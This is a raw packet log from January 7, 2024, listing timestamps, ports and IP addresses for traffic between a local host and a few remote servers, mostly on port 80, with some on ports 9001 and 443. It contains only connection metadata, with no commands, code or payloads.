Jan 7, 2024 05:30:12.178385973 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178436995 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.178440094 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178483009 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178518057 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.178550959 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178601980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178683043 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178718090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.178751945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178785086 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178798914 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.218245983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.218296051 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.218307972 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.218326092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.218372107 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.218394041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.218411922 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.219203949 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.219224930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.219239950 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.219276905 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.266012907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.266057014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.266113997 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.266140938 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.266206980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.266256094 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.266268969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.267656088 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.267713070 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.267739058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.267885923 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.267929077 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.268007994 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268054962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268098116 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.268182993 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268266916 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268420935 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.268601894 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268706083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268718004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.268748045 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.307008982 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307054043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.307071924 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307147980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307233095 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.307301998 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307394981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307492018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307502031 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.307548046 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.307642937 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.356548071 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.356612921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.356766939 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.356812000 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.360138893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360208988 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.360213995 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360294104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360338926 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.360367060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360470057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360526085 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.360616922 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360688925 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360730886 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.360768080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360791922 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.360949993 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.371788025 CET	9001	49776	178.17.170.13	192.168.2.4
Jan 7, 2024 05:30:12.396518946 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396589041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396650076 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396651030 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.396739960 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396814108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396856070 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.396904945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.396953106 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.396984100 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530535936 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530613899 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.530652046 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530792952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530829906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530832052 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.530941963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530977964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.530978918 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.531065941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531112909 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.531397104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531466007 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531537056 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.531554937 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531620979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531711102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531730890 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.531888962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531950951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.531960964 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.532100916 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532210112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532247066 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.532321930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532443047 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.532495975 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532608032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532645941 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.532691956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532793045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532807112 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.532830000 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.532982111 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.533016920 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.533071041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.533163071 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.533200026 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.533258915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.575046062 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.575109005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.575129986 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.575202942 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.575217962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.575261116 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.614492893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.614536047 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.614568949 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.614675045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.614732027 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.614763021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620206118 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620253086 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.620297909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620403051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620440006 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.620469093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620595932 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620635986 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.620680094 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620773077 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.620805979 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.661171913 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.661277056 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.661333084 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.661484003 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.661804914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.661883116 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.661921978 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.707087040 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707103968 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707134008 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.707146883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707195997 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.707201004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707262993 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707294941 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.707370043 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707425117 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.707556963 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.708331108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.708385944 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.708473921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.708497047 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.708525896 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.708559990 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.749109983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.749155045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.749257088 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.749295950 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.749322891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.749475956 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.790127993 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.790222883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.790287018 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.790324926 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.790328026 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.790365934 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.797600985 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.797683001 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.797735929 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.797828913 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.797940016 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.797981977 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.798034906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.840635061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.840693951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.840718031 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.840881109 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.840923071 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.841073036 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.841155052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.841260910 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.841265917 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.841408014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.841500998 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.879215956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.879304886 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.879383087 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.879410028 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.879441977 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.879478931 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.879489899 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.886564016 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.886584997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.886637926 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.886650085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.886701107 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.886706114 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.886734009 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.886780024 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.888293028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.888326883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.888362885 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.888382912 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.903610945 CET	49776	9001	192.168.2.4	178.17.170.13
Jan 7, 2024 05:30:12.911427021 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.911489010 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.915658951 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.915668011 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.915950060 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.916323900 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.928385019 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.928421974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.928437948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.928451061 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.928483009 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.928518057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.928600073 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.928653002 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.956737041 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.968421936 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.968522072 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.968578100 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.968660116 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.968744040 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.968790054 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.968827963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.974680901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.974725008 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.974728107 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.974868059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.974883080 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.974908113 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.976876974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.976928949 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.977013111 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.977083921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.977134943 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.015136957 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.015228033 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.015278101 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.015290976 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.015336990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.015423059 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.059113979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059180021 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059257984 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.059271097 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059380054 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059425116 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.059433937 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059541941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059588909 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.059616089 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059698105 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.059751987 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.065531969 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.065587997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.065700054 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.065747976 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.065819025 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.065833092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.065865040 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.103368044 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.103424072 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.103431940 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.103513002 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.103594065 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.103634119 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.103677988 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.103988886 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.104779959 CET	9001	49776	178.17.170.13	192.168.2.4
Jan 7, 2024 05:30:13.144175053 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144198895 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144253969 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.144278049 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144335032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144365072 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144412994 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.144443989 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144484997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144485950 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.144507885 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.144551039 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.150336981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.150468111 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.150533915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.150574923 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.151221991 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.151273012 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.151334047 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.151420116 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.151475906 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.191225052 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.191267967 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.191359043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.191406012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.191504002 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.191545963 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.191580057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232163906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232194901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232244968 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.232337952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232397079 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.232505083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232582092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232642889 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.232682943 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.233031988 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.233045101 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.233092070 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.240729094 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.240780115 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.240827084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.240879059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.240916967 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.242151976 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.242887974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.242991924 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.243609905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.243628979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:13.243678093 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:13.280186892 CET	80	49775	104.21.26.173	192.168.2.4
